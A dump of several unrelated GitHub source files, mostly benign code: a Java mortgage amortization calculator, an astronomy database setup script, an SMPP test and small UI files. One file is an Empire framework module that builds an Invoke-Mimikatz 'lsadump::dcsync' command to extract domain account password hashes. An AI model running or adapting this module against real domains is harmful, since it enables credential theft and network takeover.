extraPmts) method, which returns a new FixedAmortizationCalculator object. */ private Map<LocalDate, Double> buildExtraPmtFromExisting(ExtraPmt extraPmts, boolean add) { Map<LocalDate, Double> mutableExtraPmtMap = new HashMap<>(getExtraPayments()); // Now, build a map with the extraPmts passed in. Map<LocalDate, Double> newExtraPmtMap = initializeExtraPmts(extraPmts); return mergeWithExistingExtraPmts(newExtraPmtMap, mutableExtraPmtMap, add); } /* * Builds a Map of extra payments if there are already extra payments in extraPmtMap. This is called in the * setExtraPayment(Iterable<ExtraPmt> extraPmts) method, which returns a new FixedAmortizationCalculator object. If * add is true, it will add the amount of a new extra payment to one that already exists. */ private Map<LocalDate, Double> buildExtraPmtFromExisting(Iterable<ExtraPmt> extraPmts, boolean add) { Map<LocalDate, Double> mutableExtraPmtMap = new HashMap<>(getExtraPayments()); // Now, build a map with the extraPmts passed in. Map<LocalDate, Double> newExtraPmtMap = initializeExtraPmts(extraPmts); return mergeWithExistingExtraPmts(newExtraPmtMap, mutableExtraPmtMap, add); } /* * Builds a Map of extra payments if there are already extra payments in extraPmtMap. This is called in the * setExtraPayment(Map<LocalDate, Double> extraPmts) method, which returns a new FixedAmortizationCalculator object. */ private Map<LocalDate, Double> buildExtraPmtFromExisting(Map<LocalDate, Double> extraPmts, boolean add) { Map<LocalDate, Double> mutableExtraPmtMap = new HashMap<>(getExtraPayments()); // Now, build a map with the extraPmts passed in. Map<LocalDate, Double> newExtraPmtMap = initializeExtraPmts(extraPmts); return mergeWithExistingExtraPmts(newExtraPmtMap, mutableExtraPmtMap, add); } /** * Returns a new FixedAmortization instance with the extra payment represented by the ExtraPmt object passed in. If * any payment installments of the original instance already had an extra payment, this method overwrites that * value. * * @param key * the key of the extra payment to set * * @param amount * the amount of the extra payment * * @throws NullPointerException * if key is null * * @throws IllegalArgumentException * if the key passed in is not a valid date for this mortgage * * @return new FixedAmortizationCalculator instance */ public FixedAmortizationCalculator setExtraPayment(LocalDate key, double amount) { Preconditions.checkNotNull(key, "key must not be null"); Map<LocalDate, Double> xtra = ImmutableMap.of(key, Double.valueOf(amount)); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, xtra); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(xtra, false)); } /** * Creates a new FixedAmortizationCalculator with the extra payments represented by the ExtraPmt object passed in. * If this object already had some extra payments, those that did not have the same keys as the ones passed in will * also be in the new object. If the extra payments in this object shared any of the keys from the extra payments * passed in, the new values will overwrite the old ones. * * @param extraPmts * the extra payments that will be set in the new FixedAmortizationCalculator object. * * @throws NullPointerException * if extraPmts is null. * * @throws IllegalArgumentException * if any payments in extraPmts have a date that is not a valid date for this mortgage * * @return a new FixedAmortizationCalculator object. * */ @Override public FixedAmortizationCalculator setExtraPayment(ExtraPmt extraPmts) { Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, extraPmts); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(extraPmts, false)); } /** * Creates a new FixedAmortizationCalculator with the extra payments represented by the Iterable<ExtraPmt> object * passed in. If this object already had some extra payments, those that did not have the same keys as the ones * passed in will also be in the new object. If the extra payments in this object shared any of the keys from the * extra payments passed in, the new values will overwrite the old ones. * * @param extraPmts * the extra payments that will be set in the new FixedAmortizationCalculator object. * * @throws NullPointerException * if extraPmts is null * * @throws IllegalArgumentException * if any payments in extraPmts have a date that is not a valid date for this mortgage * * @return a new FixedAmortizationCalculator object. * */ @Override public FixedAmortizationCalculator setExtraPayments(Iterable<ExtraPmt> extraPmts) { Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, extraPmts); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(extraPmts, false)); } /** * Creates a new FixedAmortizationCalculator with the extra payments represented by the Map<LocalDate, Double> * object passed in. If this object already had some extra payments, those that did not have the same keys as the * ones passed in will also be in the new object. If the extra payments in this object shared any of the keys from * the extra payments passed in, the new values will overwrite the old ones. * * @param extraPmts * the extra payments that will be set in the new FixedAmortizationCalculator object. * * @throws NullPointerException * if extraPmts is null * * @throws IllegalArgumentException * if any payments in extraPmts have a date that is not a valid date for this mortgage * * @return a new FixedAmortizationCalculator object. */ @Override public FixedAmortizationCalculator setExtraPayments(Map<LocalDate, Double> extraPmts) { Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, extraPmts); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(extraPmts, false)); } /** * Returns a new FixedAmortization instance with the extra payment represented by the ExtraPmt object passed in. If * any payment installments of the original instance already had an extra payment, this method adds to that value. * * @param key * the key of the extra payment to set * * @param amount * the amount of the extra payment * * @throws NullPointerException * if key is null * * @throws IllegalArgumentException * if the key passed in is not a valid date for this mortgage * * @return new FixedAmortizationCalculator instance */ public FixedAmortizationCalculator addExtraPayment(LocalDate key, double amount) { Preconditions.checkNotNull(key, "key must not be null"); Map<LocalDate, Double> xtra = ImmutableMap.of(key, Double.valueOf(amount)); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, xtra); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(xtra, true)); } /** * Creates a new FixedAmortizationCalculator with added extra payments. If the payment for a date in extraPmts * already has an extra payment, the new extra value will be added to it. * * @param extraPmts * the extra payments to be added. * * @throws NullPointerException * if extraPmts is null * * @throws IllegalArgumentException * if any payments in extraPmts have a date that is not a valid date for this mortgage * * @return a new FixedAmortizationCalculator object. */ @Override public FixedAmortizationCalculator addExtraPayment(ExtraPmt extraPmts) { Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, extraPmts); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(extraPmts, true)); } /** * Creates a new FixedAmortizationCalculator with added extra payments. If the payment for a date in extraPmts * already has an extra payment, the new extra value will be added to it. * * @param extraPmts * the extra payments to be added. * * @throws NullPointerException * if extraPmts is null * * @throws IllegalArgumentException * if any payments in extraPmts have a date that is not a valid date for this mortgage * * @return a new FixedAmortizationCalculator object. */ @Override public FixedAmortizationCalculator addExtraPayments(Iterable<ExtraPmt> extraPmts) { Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, extraPmts); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(extraPmts, true)); } /** * Creates a new FixedAmortizationCalculator with added extra payments. If the payment for a date in extraPmts * already has an extra payment, the new extra value will be added to it. * * @param extraPmts * the extra payments to be added. * * @throws NullPointerException * if extraPmts is null * * @throws IllegalArgumentException * if any payments in extraPmts have a date that is not a valid date for this mortgage * * @return a new FixedAmortizationCalculator object. */ @Override public FixedAmortizationCalculator addExtraPayments(Map<LocalDate, Double> extraPmts) { Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); if (!areExtraPmts) { return getInstance(pmtCalculator, pmtKey, extraPmts); } return getInstance(pmtCalculator, pmtKey, buildExtraPmtFromExisting(extraPmts, true)); } /** * Removes the extra payment from the payment installment for the key passed in. * * @param key * the key of the extra payment to remove * * @throws NullPointerException * if key is null * * @throws IllegalArgumentException * if there is no extra payment for the payment represented by key * @return new FixedAmortizationCalculator instance */ @Override public FixedAmortizationCalculator removeExtraPayment(LocalDate key) { Preconditions.checkNotNull(key, "key must not be null."); // If extraPmtMap does not contain the key we are trying to remove, throw an IllegalArgumentException. We could // ignore it and return the same object, but throwing an Exception sends a clear message to the caller that // what they were trying to do failed. Preconditions.checkArgument(getExtraPayment(key) > 0.0, "attempt to remove extra payment with key of " + key + " failed because extraPmtMap does not contain an extra payment with that key."); // Create a mutable copy of the map and remove the extra payment from that. Map<LocalDate, Double> reducedMap = new HashMap<>(getExtraPayments()); reducedMap.remove(key); return getInstance(pmtCalculator, pmtKey, reducedMap); } /** * Removes the extra payment from the payment installment for the key passed in. * * @param keys * the keys of the extra payments to remove * * @throws NullPointerException * if keys is null * * @throws IllegalArgumentException * if there are no extra payments defined for this object or if there is no extra payment for the * payments represented by the keys * @return new FixedAmortizationCalculator instance */ @Override public FixedAmortizationCalculator removeExtraPayments(Iterable<LocalDate> keys) { Preconditions.checkNotNull(keys, "keys must not be null."); // Create a mutable copy of the map and remove the extra payment from that. Map<LocalDate, Double> reducedMap = new HashMap<>(getExtraPayments()); for (LocalDate key : keys) { Preconditions.checkArgument(getExtraPayment(key) > 0.0, "attempt to remove extra payment with key of " + key + " failed because extraPmtMap does not contain an extra payment with that key."); reducedMap.remove(key); } return getInstance(pmtCalculator, pmtKey, reducedMap); } /** * Returns a new FixedAmortizationCalculator object that has no extra payments. * * @throws IllegalStateException * if this object does not contain extra payments * * @return new FixedAmortizationCalculator instance */ @Override public FixedAmortizationCalculator clearExtraPayments() { Preconditions.checkState(areExtraPmts, "This object does not contain extra payments so none can be cleared."); return getInstance(pmtCalculator, pmtKey); } /* * Create the map of extra payments. This is called in the constructors. */ private SortedMap<LocalDate, Double> getExtraPmts() { ImmutableSortedMap.Builder<LocalDate, Double> bldr = new ImmutableSortedMap.Builder<>(Ordering.natural()); Set<LocalDate> keys = amortizationMap.keySet(); for (LocalDate key : keys) { bldr.put(key, amortizationMap.get(key).getExtraPrincipal()); } return bldr.build(); } /** * Returns a sorted map of the extra payments for this mortgage. If this mortgage does not have any extra payments, * this will return a map of extra payments that each equal 0.0. * * @return a map of extra payments sorted by the payment date */ @Override public SortedMap<LocalDate, Double> getExtraPayments() { return extraPmtMap; } /** * Returns the extra payment for the key passed in or 0.0 if extraPmtMap is null or extraPmtMap does not have a * value for the key. * * @param key * the key of the extra payment to get * * @throws NullPointerException * if key is null * * @throws IllegalArgumentException * if the key passed in is not valid for this mortgage. * * @return the extra payment for the key or 0.0 if there is no extra payment for it */ @Override public double getExtraPayment(LocalDate key) { Preconditions.checkNotNull(key, "key must not be null."); Preconditions.checkArgument(pmtKey.getKeys().contains(key), key + " is not valid for this mortgage."); Payment pmt = amortizationMap.get(key); Double e = pmt == null ? 0.0 : pmt.getExtraPrincipal(); return e.doubleValue(); } /** * Returns the amortization table as a sorted map. The keys are the date the payment is due. */ @Override public SortedMap<LocalDate, Payment> getTable() { return amortizationMap; } /* * Builds a table with no extra payments. */ private SortedMap<LocalDate, Payment> buildTable() { double principalOwed = pmtCalculator.getLoanAmt(); double interestPaid = 0.0; ImmutableSortedMap.Builder<LocalDate, Payment> pmtMapBuilder = new ImmutableSortedMap.Builder<>( Ordering.natural()); Iterator<LocalDate> keyIterator = pmtKey.getKeys().iterator(); while ((BigDecimal.valueOf(principalOwed).setScale(2, RoundingMode.HALF_EVEN).doubleValue() > 0.0) && (keyIterator.hasNext())) { // Get the key. LocalDate key = keyIterator.next(); // Create the payment object and add it with its key. Payment payment = new DefaultPayment(principalOwed, interestPaid); pmtMapBuilder.put(key, payment); // Update the principal owed and balance paid. principalOwed = payment.getBalanceUnrounded(); interestPaid = payment.getCumulativeInterestUnrounded(); } return pmtMapBuilder.build(); } /* * Builds a table with extra payments. */ private SortedMap<LocalDate, Payment> buildTable(Map<LocalDate, Double> extraPmtMap) { double principalOwed = pmtCalculator.getLoanAmt(); double interestPaid = 0.0; ImmutableSortedMap.Builder<LocalDate, Payment> pmtMapBuilder = new ImmutableSortedMap.Builder<>( Ordering.natural()); Iterator<LocalDate> keyIterator = pmtKey.getKeys().iterator(); while ((BigDecimal.valueOf(principalOwed).setScale(2, RoundingMode.HALF_EVEN).doubleValue() > 0.0) && (keyIterator.hasNext())) { // Get the key and the extra payment. Check it for null. LocalDate key = keyIterator.next(); Double extraPmt = extraPmtMap.get(key); // Create the payment object and add it with its key. Payment payment = new DefaultPayment(principalOwed, interestPaid, extraPmt == null ? 0.0 : extraPmt.doubleValue()); pmtMapBuilder.put(key, payment); // Update the principal owed and balance paid. principalOwed = payment.getBalanceUnrounded(); interestPaid = payment.getCumulativeInterestUnrounded(); } return pmtMapBuilder.build(); } @Override public String toString() { return Objects.toStringHelper(this) .add("pmtCalculator", pmtCalculator) .add("pmtKey", pmtKey) .add("amortizationMap", amortizationMap) .toString(); } @Override public int hashCode() { int result = hashCode; if (result == 0) { result = Objects.hashCode(pmtCalculator, pmtKey, amortizationMap); hashCode = result; } return result; } /** * Compares two FixedAmortizationCalculator objects for equality. * * Note: DefaultAmortizationCalculator uses instance control, so two objects that are equal will be the same object. * Therefore, to compare equality between two DefaultAmortizationCalculator object's one can use == instead of * equals(). * * @return true if the two objects are effectively the same, false otherwise. */ @Override public boolean equals(Object object) { if (object == this) { return true; } if (!(object instanceof DefaultFixedAmortizationCalculator)) { return false; } // Do not compare the areExtraPmt boolean value or the extraPmtMap as those values are derived from the contents // of amortizationMap DefaultFixedAmortizationCalculator that = (DefaultFixedAmortizationCalculator) object; return Objects.equal(this.pmtCalculator, that.pmtCalculator) && Objects.equal(this.pmtKey, that.pmtKey) && Objects.equal(this.amortizationMap, that.amortizationMap); } /** * Compare two DefaultFixedAmortizationCalculator objects. * * @param o * the object to compare * * @return a negative integer, zero, or a positive integer as this object is less than, equal to, or greater than * the specified object. * * @throws ClassCastException * if the PmtKey object passed in is not a DefaultFixedAmortizationCalculator object. */ @Override public int compareTo(FixedAmortizationCalculator o) { // Since we use an Interner for this object, two objects that are equal should always be the same object, so // this first check should always be true if the "objects" are the same. if (this == o) { return 0; } if (!(o instanceof DefaultFixedAmortizationCalculator)) { throw new ClassCastException( "Object to compare must be of type DefaultFixedAmortizationCalculator. Object is " + o == null ? "null" : o.getClass().getName()); } DefaultFixedAmortizationCalculator that = (DefaultFixedAmortizationCalculator) o; // The most important comparison to make between two FixedAmortizationCalculators is the total cost. This cost // is the total principal owed plus the total interest. Compare this value first. Payment thisLastPmt = amortizationMap.get(amortizationMap.lastKey()); Payment thatLastPmt = that.amortizationMap.get(that.amortizationMap.lastKey()); double thisTotalCost = BigDecimal.valueOf(pmtCalculator.getLoanAmt()) .add(BigDecimal.valueOf(thisLastPmt.getCumulativeInterest())).doubleValue(); double thatTotalCost = BigDecimal.valueOf(that.pmtCalculator.getLoanAmt()) .add(BigDecimal.valueOf(thatLastPmt.getCumulativeInterest())).doubleValue(); int result = Double.compare(thisTotalCost, thatTotalCost); if (result != 0) { return result; } // The total costs are the same, so compare starting with the pmtCalculator. result = ComparisonChain.start() .compare(pmtCalculator, that.pmtCalculator) .compare(pmtKey, that.pmtKey) .result(); if (result != 0) { return result; } // See if the amortization maps are the same size. int amortSz = amortizationMap.size(); int thatAmortSz = that.amortizationMap.size(); if (amortSz > thatAmortSz) return 1; if (amortSz < thatAmortSz) return -1; Set<LocalDate> keys = amortizationMap.keySet(); for (LocalDate key : keys) { Payment thisPmt = amortizationMap.get(key); Payment thatPmt = that.amortizationMap.get(key); // A null value is considered less than anything else. if (thatPmt == null) return 1; result = thisPmt.compareTo(thatPmt); if (result != 0) return result; } return 0; } class DefaultPayment implements FixedAmortizationCalculator.Payment { private final double total; // the total amount paid for this payment private final double principal; // the principal paid for this payment private final double extraPrincipal; // the extra principal paid for this payment, if any private final double interest; // the interest paid for this payment private final double cumulativeInterest; // the cumulative interest paid after this payment private final double balance; // the balance due after this payment // Values rounded off private final double totalRounded; private final double principalRounded; private final double extraPrincipalRounded; private final double interestRounded; private final double balanceRounded; private final double cumulativeInterestRounded; private volatile int hashCode; private DefaultPayment(double principalOwed, double interestPaid, double extraPrincipal) { // The extraPmt is the extra amount being paid for this payment. The total is the monthly payment plus the // extra payment. interest = principalOwed * periodInterestRate; this.extraPrincipal = extraPrincipal; total = Math.min(pmt + extraPrincipal, principalOwed + interest); principal = total - interest; balance = principalOwed - principal; cumulativeInterest = interestPaid + interest; totalRounded = BigDecimal.valueOf(total).setScale(2, RoundingMode.HALF_EVEN).doubleValue(); principalRounded = BigDecimal.valueOf(principal).setScale(2, RoundingMode.HALF_EVEN).doubleValue(); extraPrincipalRounded = BigDecimal.valueOf(extraPrincipal).setScale(2, RoundingMode.HALF_EVEN) .doubleValue(); interestRounded = BigDecimal.valueOf(interest).setScale(2, RoundingMode.HALF_EVEN).doubleValue(); balanceRounded = BigDecimal.valueOf(balance).setScale(2, RoundingMode.HALF_EVEN).doubleValue(); cumulativeInterestRounded = BigDecimal.valueOf(cumulativeInterest).setScale(2, RoundingMode.HALF_EVEN) .doubleValue(); } private DefaultPayment(double principalOwed, double interestPaid) { this(principalOwed, interestPaid, 0); } @Override public double getTotal() { return totalRounded; } @Override public double getPrincipal() { return principalRounded; } @Override public double getExtraPrincipal() { return extraPrincipalRounded; } @Override public double getInterest() { return interestRounded; } @Override public double getBalance() { return balanceRounded; } @Override public double getCumulativeInterest() { return cumulativeInterestRounded; } @Override public double getTotalUnrounded() { return total; } @Override public double getPrincipalUnrounded() { return principal; } @Override public double getInterestUnrounded() { return interest; } @Override public double getBalanceUnrounded() { return balance; } @Override public double getCumulativeInterestUnrounded() { return cumulativeInterest; } @Override public double[] getPmtStats() { return new double[] { totalRounded, principalRounded, extraPrincipalRounded, interestRounded, cumulativeInterestRounded, balanceRounded }; } @Override public String toString() { return Objects.toStringHelper(this) .add("total", totalRounded) .add("principal", principalRounded) .add("extraPrincipal", extraPrincipalRounded) .add("interest", interestRounded) .add("cumulativeInterest", cumulativeInterestRounded) .add("balance", balanceRounded) .toString(); } @Override public int hashCode() { int result = hashCode; if (result == 0) { result = Objects.hashCode(total, principal, extraPrincipal, interest, cumulativeInterest, balance); hashCode = result; } return result; } @Override public boolean equals(Object object) { if (object == this) { return true; } if (!(object instanceof DefaultPayment)) { return false; } DefaultPayment that = (DefaultPayment) object; return Objects.equal(this.total, that.total) && Objects.equal(this.principal, that.principal) && Objects.equal(this.extraPrincipal, that.extraPrincipal) && Objects.equal(this.interest, that.interest) && Objects.equal(this.cumulativeInterest, that.cumulativeInterest) && Objects.equal(this.balance, that.balance); } @Override public int compareTo(Payment o) { if (this == o) { return 0; } if (!(o instanceof DefaultPayment)) { throw new ClassCastException( "Object to compare must be of type DefaultPayment. Object is " + o == null ? "null" : o.getClass().getName()); } DefaultPayment that = (DefaultPayment) o; return ComparisonChain.start() .compare(total, that.total) .compare(principal, that.principal) .compare(extraPrincipal, that.extraPrincipal) .compare(interest, that.interest) .compare(cumulativeInterest, that.cumulativeInterest) .compare(balance, that.balance) .result(); } } }
{ "content_hash": "79a0837b9b872917e9ccfd45c53fb38b", "timestamp": "", "source": "github", "line_count": 1282, "max_line_length": 123, "avg_line_length": 39.54368174726989, "alnum_prop": 0.6489200118354868, "repo_name": "darmstrong1/jmortgage", "id": "54713f3cb8b8b5912f6204ef3f78cd3cf7778c52", "size": "50695", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/main/java/co/da/jmtg/amort/DefaultFixedAmortizationCalculator.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "214661" } ], "symlink_target": "" }
r""" This function sets up the optional astrolyze databases for the maps classes and *MAYBE LATER* also the dictionary containing the Information on individual molecules for the ``lte`` package. """ import os import subprocess import astrolyze from pysqlite2 import dbapi2 as sqlite USER = os.getenv("USER") def get_line_parameter(filein, database): r""" Reads in the line names and frequencies from ``filein`` and creates a table Lines in the ``database``. """ const_c = 299792458. # Speed of light [m] filein = open(filein).readlines() lines = [] for row in filein[1:]: line_name, frequency = row.split() lines += [[line_name, float(frequency) * 1e9, float(const_c / float(frequency) / 1e9)]] print database connection = sqlite.connect(database) cursor = connection.cursor() cursor.execute('CREATE TABLE Lines (id INTEGER PRIMARY KEY,' 'Name VARCHAR(50), ' 'Frequency FLOAT, ' 'Wavelenght Float)') for i in lines: cursor.execute('INSERT INTO Lines VALUES (null, ?, ?, ?)', (i[0], i[1], i[2])) connection.commit() cursor.close() connection.close() def get_galaxy_parameter(filein, database): r""" """ filein = open(filein).readlines() galaxies = [] for row in filein[1:]: (galaxy_name, morphology_type, distance, v_lsr, RA, DEC, PA, inclination, R25) = row.split() galaxies += [[galaxy_name, morphology_type, float(distance), float(v_lsr), RA, DEC, float(PA), float(inclination), float(R25)]] connection = sqlite.connect(database) cursor = connection.cursor() cursor.execute('CREATE TABLE Galaxies (id INTEGER PRIMARY KEY, Name ' 'VARCHAR(50), MorphType VARCHAR(50), Distance DOUBLE, VLSR ' 'DOUBLE, Central Position VARCHAR(50), PA DOUBLE, ' 'Inclination FLOAT, R25 FLOAT)') for i in galaxies: cursor.execute('INSERT INTO Galaxies VALUES (null, ?, ?, ?, ?, ?, ?, ' '?, ?)',(i[0], i[1], i[2], i[3], i[4] + ' ' + i[5], i[6], i[7], i[8])) connection.commit() cursor.close() connection.close() def get_calibration_error(filein, database): r""" """ filein = open(filein).readlines() calibration_error_list = [] for row in filein[1:]: items = row.split() telescope = items[0] species = items[1] calibration_error = items[2] # The rest of the words in the row are interpreted as reference. # ' '.join() produces one string with one space between the items. reference = ' '.join(items[3:]) calibration_error_list += [[telescope, species, float(calibration_error), reference]] connection = sqlite.connect(database) cursor = connection.cursor() cursor.execute('CREATE TABLE cal_error (id INTEGER PRIMARY KEY, Telescope ' 'VARCHAR(50), Species VARCHAR(50), uncertainty DOUBLE, ' 'Reference VARCHAR(50))') for i in calibration_error_list: cursor.execute('INSERT INTO cal_error VALUES (null, ?, ?, ?, ?)', (i[0], i[1], i[2], i[3])) connection.commit() cursor.close() connection.close() def create_database(database): r""" """ path_to_astrolyze_config = "/home/{}/.astrolyze/cfg/".format(USER) dir_ = "/home/{}/.astrolyze/database/".format(USER) database = "{}{}".format(dir_, database) print dir_ if not os.path.isdir(dir_): subprocess.call("mkdir -p {}".format(dir_), shell=True) if os.path.isfile(database): subprocess.call('rm -rf {}'.format(database), shell=True) filein = '{}line_parameter.txt'.format(path_to_astrolyze_config) get_line_parameter(filein, database) filein = '{}galaxy_parameter.txt'.format(path_to_astrolyze_config) get_galaxy_parameter(filein, database) filein = '{}calibration_error.txt'.format(path_to_astrolyze_config) get_calibration_error(filein, database) create_database('parameter.db')
{ "content_hash": "fb2624786d10a668a195c1c1e74895ab", "timestamp": "", "source": "github", "line_count": 113, "max_line_length": 80, "avg_line_length": 37.415929203539825, "alnum_prop": 0.5908230842005676, "repo_name": "buchbend/astrolyze", "id": "b7a5bd2f2e8f615d1cec14f7ea49fc79fb2c5a80", "size": "4250", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "scripts/astrolyze_opt_db_setup.py", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Python", "bytes": "940056" } ], "symlink_target": "" }
from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Mimikatz DCsync', 'Author': ['@gentilkiwi', 'Vincent Le Toux', '@JosephBialek'], 'Description': ("Runs PowerSploit's Invoke-Mimikatz function " "to extract a given account password through " "Mimikatz's lsadump::dcsync module. This doesn't " "need code execution on a given DC, but needs to be " "run from a user context with DA equivalent privileges."), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : True, 'MinPSVersion' : '2', 'Comments': [ 'http://blog.gentilkiwi.com', 'http://clymb3r.wordpress.com/' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'user' : { 'Description' : 'Username to extract the hash for (domain\username format).', 'Required' : True, 'Value' : '' }, 'domain' : { 'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.', 'Required' : False, 'Value' : '' }, 'dc' : { 'Description' : 'Specified (fqdn) domain controller to pull replication data from.', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "Invoke-Mimikatz -Command " script += "'\"lsadump::dcsync /user:" + self.options['user']['Value'] if self.options["domain"]['Value'] != "": script += " /domain:" + self.options['domain']['Value'] if self.options["dc"]['Value'] != "": script += " /dc:" + self.options['dc']['Value'] script += "\"';" return script
{ "content_hash": "55ccf8a29f29d6e24fd460b099e9cf5e", "timestamp": "", "source": "github", "line_count": 99, "max_line_length": 104, "avg_line_length": 32.82828282828283, "alnum_prop": 0.472, "repo_name": "rvazarkar/Empire", "id": "70ab5ad86b25a6b9c1f195ffa68aa199442ff6bc", "size": "3250", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "lib/modules/credentials/mimikatz/dcsync.py", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "PHP", "bytes": "2563" }, { "name": "PowerShell", "bytes": "4057571" }, { "name": "Python", "bytes": "640506" }, { "name": "Shell", "bytes": "977" } ], "symlink_target": "" }
export { Task } from './Task'; export { TaskGroup } from './TaskGroup';
{ "content_hash": "ac3ec37f4e4f55e426295a241754bcc5", "timestamp": "", "source": "github", "line_count": 3, "max_line_length": 40, "avg_line_length": 24.333333333333332, "alnum_prop": 0.6301369863013698, "repo_name": "pissang/claygl", "id": "7b1251329057df331421aa85864f683cd79beff6", "size": "73", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "typescript/async/index.d.ts", "mode": "33188", "license": "bsd-2-clause", "language": [ { "name": "CSS", "bytes": "303" }, { "name": "GLSL", "bytes": "133630" }, { "name": "HTML", "bytes": "267329" }, { "name": "JavaScript", "bytes": "1548089" }, { "name": "Python", "bytes": "58877" } ], "symlink_target": "" }
<?php /* @Framework/Form/textarea_widget.html.php */ class __TwigTemplate_077ec2b7d21f10dbb1f5ccdc88f8e2f19a43f1ae5eff6aec794c07406668d33e extends Twig_Template { public function __construct(Twig_Environment $env) { parent::__construct($env); $this->parent = false; $this->blocks = array( ); } protected function doDisplay(array $context, array $blocks = array()) { // line 1 echo "<textarea <?php echo \$view['form']->block(\$form, 'widget_attributes') ?>><?php echo \$view->escape(\$value) ?></textarea> "; } public function getTemplateName() { return "@Framework/Form/textarea_widget.html.php"; } public function getDebugInfo() { return array ( 19 => 1,); } } /* <textarea <?php echo $view['form']->block($form, 'widget_attributes') ?>><?php echo $view->escape($value) ?></textarea>*/ /* */
{ "content_hash": "6f5d62ab088f0fa4cbcff3ee5b337b4b", "timestamp": "", "source": "github", "line_count": 34, "max_line_length": 137, "avg_line_length": 26.852941176470587, "alnum_prop": 0.6067907995618839, "repo_name": "sapenov/symfony2", "id": "ad45e6a6ac915689c072289bfc3b0e7b14a0d961", "size": "913", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/cache/prod/twig/37/370a8e71b637ff2a8e51334531d8c6e24ab0bb18729a21ddafe73c7df586dbd0.php", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "3606" }, { "name": "HTML", "bytes": "5381" }, { "name": "PHP", "bytes": "58376" } ], "symlink_target": "" }
package com.adenki.smpp.message; import org.testng.annotations.Test; import com.adenki.smpp.Address; @Test public class DataSMTest extends PacketTests<DataSM> { protected Class<DataSM> getPacketType() { return DataSM.class; } @Override protected DataSM getInitialisedPacket() { DataSM packet = new DataSM(); packet.setDataCoding(4); packet.setDestination(new Address(2, 2, "22222222")); packet.setEsmClass(32); packet.setServiceType("serviceType"); packet.setSource(new Address(1, 1, "111111111111")); packet.setRegistered(0); return packet; } }
{ "content_hash": "f658aa13e45eda57926eabc80dd7cb1f", "timestamp": "", "source": "github", "line_count": 25, "max_line_length": 61, "avg_line_length": 25.88, "alnum_prop": 0.6599690880989181, "repo_name": "oranoceallaigh/smppapi", "id": "4d150be5bf745c803cbd3492b6c1fdd82c0dab0c", "size": "647", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "src/test/java/com/adenki/smpp/message/DataSMTest.java", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "C", "bytes": "13384" }, { "name": "CSS", "bytes": "13297" }, { "name": "Java", "bytes": "660875" }, { "name": "JavaScript", "bytes": "25783" } ], "symlink_target": "" }
// // YCCustomCalendarScrollView.m // TestCalendar // // Created by JyHu on 15/3/6. // Copyright (c) 2015年 JyHu. All rights reserved. // #import "YCCustomCalendarScrollView.h" @implementation YCCustomCalendarScrollView /* // Only override drawRect: if you perform custom drawing. // An empty implementation adversely affects performance during animation. - (void)drawRect:(CGRect)rect { // Drawing code } */ - (BOOL)touchesShouldBegin:(NSSet *)touches withEvent:(UIEvent *)event inContentView:(UIView *)view { UITouch *touch = [touches anyObject]; if (touch.phase == UITouchPhaseMoved) { return NO; } return [super touchesShouldBegin:touches withEvent:event inContentView:view]; } @end
{ "content_hash": "12702a777f869f045f56d5161ae324e7", "timestamp": "", "source": "github", "line_count": 33, "max_line_length": 99, "avg_line_length": 22.333333333333332, "alnum_prop": 0.7069199457259159, "repo_name": "JyHu/Calendar", "id": "0090ea9f775676a348dce4761ef303adae52cc02", "size": "739", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "TestCalendar/TestCalendar/CalendarByHJY/Calendar/YCCustomCalendarScrollView.m", "mode": "33261", "license": "mit", "language": [ { "name": "Objective-C", "bytes": "69528" } ], "symlink_target": "" }
